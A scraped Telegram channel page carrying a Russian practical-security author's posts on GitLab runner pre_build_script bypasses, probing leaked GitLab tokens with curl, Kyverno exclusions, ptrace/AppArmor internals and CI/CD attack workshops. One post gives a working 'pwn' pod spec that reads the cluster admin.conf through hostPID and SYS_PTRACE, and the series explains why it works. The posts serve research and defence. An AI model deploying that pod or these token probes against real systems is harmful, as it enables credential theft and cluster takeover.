Нарыл
رفتن به کانال در Telegram
Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf
نمایش بیشتر1 483
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+87 روز
+2130 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
دسامبر '24
دسامبر '24
+14
در 0 کانالها
نوامبر '24
+26
در 0 کانالها
Get PRO
اکتبر '24
+22
در 0 کانالها
Get PRO
سپتامبر '24
+19
در 0 کانالها
Get PRO
اوت '24
+40
در 1 کانالها
Get PRO
ژوئیه '24
+35
در 0 کانالها
Get PRO
ژوئن '24
+21
در 0 کانالها
Get PRO
مه '24
+137
در 4 کانالها
Get PRO
آوریل '24
+36
در 0 کانالها
Get PRO
مارس '24
+27
در 0 کانالها
Get PRO
فوریه '24
+59
در 0 کانالها
Get PRO
ژانویه '24
+94
در 1 کانالها
Get PRO
دسامبر '23
+69
در 0 کانالها
Get PRO
نوامبر '23
+117
در 1 کانالها
Get PRO
اکتبر '23
+130
در 3 کانالها
Get PRO
سپتامبر '23
+102
در 0 کانالها
Get PRO
اوت '23
+57
در 0 کانالها
Get PRO
ژوئیه '23
+22
در 0 کانالها
Get PRO
ژوئن '23
+56
در 0 کانالها
Get PRO
مه '23
+116
در 0 کانالها
Get PRO
آوریل '23
+9
در 0 کانالها
Get PRO
مارس '23
+12
در 0 کانالها
Get PRO
فوریه '23
+13
در 0 کانالها
Get PRO
ژانویه '23
+68
در 0 کانالها
Get PRO
دسامبر '22
+15
در 0 کانالها
Get PRO
نوامبر '22
+58
در 0 کانالها
Get PRO
اکتبر '22
+28
در 0 کانالها
Get PRO
سپتامبر '22
+14
در 0 کانالها
Get PRO
اوت '22
+25
در 0 کانالها
Get PRO
ژوئیه '22
+384
در 0 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 08 دسامبر | 0 | |||
| 07 دسامبر | 0 | |||
| 06 دسامبر | 0 | |||
| 05 دسامبر | 0 | |||
| 04 دسامبر | +1 | |||
| 03 دسامبر | +9 | |||
| 02 دسامبر | +2 | |||
| 01 دسامبر | +2 |
پستهای کانال
Gitlab pre_build_script. Part 2
Так что же делать чтобы after_script не выполнялся после падения pre_build_script?
Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу.
Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже).
Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке
/scripts-$CI_PROJECT_ID-$CI_JOB_ID. Соответственно если его перезаписать например на exit 1, то никакие другие скрипты точно не запустятся, в том числе after_script.
Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту.
Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы.
Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.
echo 'exit 1' > /script*/detect*
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/step_script"}' >> /logs*/output.log
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/after_script"}' >> /logs*/output.log
exit 1| 2 |  Gitlab pre_build_script
Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д.
Способы защиты могут быть тоже разные:
- проверка того что тот кто запустил джобу входит в белый список
- проверка подписи коммитов
- проверка целостности джобы
- и т.д.
Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml).
Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются.
Не выполняются ведь? Да?
НЕТ!
before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script.
Такой вот простой байпас. | 1 259 |
| 3 | OFFZONE_CYBERED_SPECIAL - промокод на скидку на воркшопы OFFZONE (не только мой) | 1 529 |
| 4 |  🔧 Воркшоп «Ломаем CI/CD 2.0»
На воркшопе вы изучите работу с секретами в CI/CD и научитесь обходить защиты раннеров от PPE.
Что в программе:
➡️ Секреты в CI/CD: GitLab variables / vault.
➡️ Интеграция Vault с GitLab и проблемы в ней.
➡️ Интеграция Vault с K8s и проблемы в ней.
➡️ Защита раннеров от PPE и способы ее обхода.
Что потребуется:
➡️ docker,
➡️ kubectl,
➡️ vault (cli).
Когда: 23 августа, 14:30–17:30.
Сложность: medium.
Продолжительность: 3 часа.
Тренер: Павел Сорокин, tech lead, Singleton Security.
Важно: без билета на конференцию попасть на воркшоп не получится.
Мест осталось не так много, успевайте!
Подробнее | 1 329 |
| 5 | Второй год подряд буду проводить воркшоп на Offzone. | 1 188 |
| 6 | Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense
Слайды прикладываю | 1 189 |
| 7 |  Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено.
Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)
Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.
При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.
И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.
Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами. | 5 313 |
| 8 | Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два. | 829 |
| 9 | Kyverno resourseFilters
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, сради которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают... | 783 |
| 10 |  😱 Еще не принимали участие в нашем практическом воркшопе «Ломаем CI/CD»?
У вас есть отличный шанс это сделать👍 Ведь мы снова проведем его уже 31 января!
Чем уникален данный воркшоп?
⚡️Только у нас вы сможете потренироваться на практике в поиске нестандартных уязвимостей компонентов CI/CD, изучить техники атак на них, которые обычно выходят за рамки стандартных пентестов.
Зачем?
Чтобы овладеть уникальными навыками от практикующего эксперта и быть на шаг впереди других🏆
👤 Воркшоп проведет для вас лично Павел Сорокин - эксперт в пентесте и Application Security с опытом работы в ведущих ИБ-компаниях, таких как “Информзащита”, BI.ZONE, Ozon и Яндекс.
Все о безопасности пайплайнов CI/CD - на практическом воркшопе CyberEd🔥
👉 Оставить заявку на участие в воркшопе
Реклама
ОАНО ДПО «ВЫШТЕХ»
ИНН: 7703434727 | 325 |
| 11 | Всем привет. В среду вечером провожу воркшоп «Ломаем CI/CD» в CyberEd. Покажу атаки, основанные на том, что я видел в реальных системах. Для проведения воркшопа я поднял гитлаб, кубернетес и пачку раннеров. Будет CTFd с флагами и пошаговая методичка со скриптами и yaml-ами.
Если интересно - присоединяйтесь. Промокод на скидку для подписчиков канала - naryl_sec | 684 |
| 12 | بدون متن... | 1 722 |
| 13 | Gitlab Access Tokens
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
curl https://gitlab.example.com/api/v4/users/<user_id>
Если токен выдан для проекта или группы, имя пользователя будет иметь формат (project|group)_<(project|group)_id>_bot_<random_bytes>
В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов. | 1 622 |
| 14 | بدون متن... | 3 |
| 15 | apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: "" | 631 |
| 16 | hostPID: true и --pid=host. Часть 4
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можем запупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера. | 476 |
| 17 | hostPID: true и --pid=host. Часть 3
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
# suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
ptrace (trace,read,tracedby,readby) peer={{.Name}},
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг --security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined
AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны. | 620 |
| 18 | hostPID: true и --pid=host. Часть 2
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов.
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE | 607 |
| 19 | 🔥 2 ноября CyberEd приглашает вас посетить практический воркшоп «Ломаем CI/СD»!
💻 В ходе воркшопа разберем основные угрозы безопасности компонентов CI/CD и пайплайнов, техники атак на системы CI/CD. А также рассмотрим:
✅ модели безопасности GitLab
✅ различные Gitlab CI экзекьютеры и атаки на них, включая shell, docker, k8s и dind
✅ атаки из Gitlab CI на shared runner.
Вы научитесь изучать доступное окружение раннеров, выходить из контейнеров, поднимать свои привилегии в kubernetes.
📆 Когда: 2 ноября в 19.00 по МСК
🕑 Продолжительность - 3 часа.
➡️ Подробная программа и регистрация на воркшоп
📎 Мероприятие будет полезно Dev, Ops, Sec командам, пентестерам, специалистам и исследователям безопасности, RedTeam, AppSec, специалистам по расследованию инцидентов.
Реклама
ОАНО ДПО «ВЫШТЕХ»
ИНН: 7703434727 | 417 |
| 20 | Провожу в этот четверг воркшоп по атакам на CI/CD. Покажу только то, что встречал на практике: повышение привилегий на раннерах, подмена артефактов, выход на ноды кубера с последующим захватом кластера. Будет инфра, где можно будет повторить и попрактиковаться. Если интересно - приходите. | 442 |
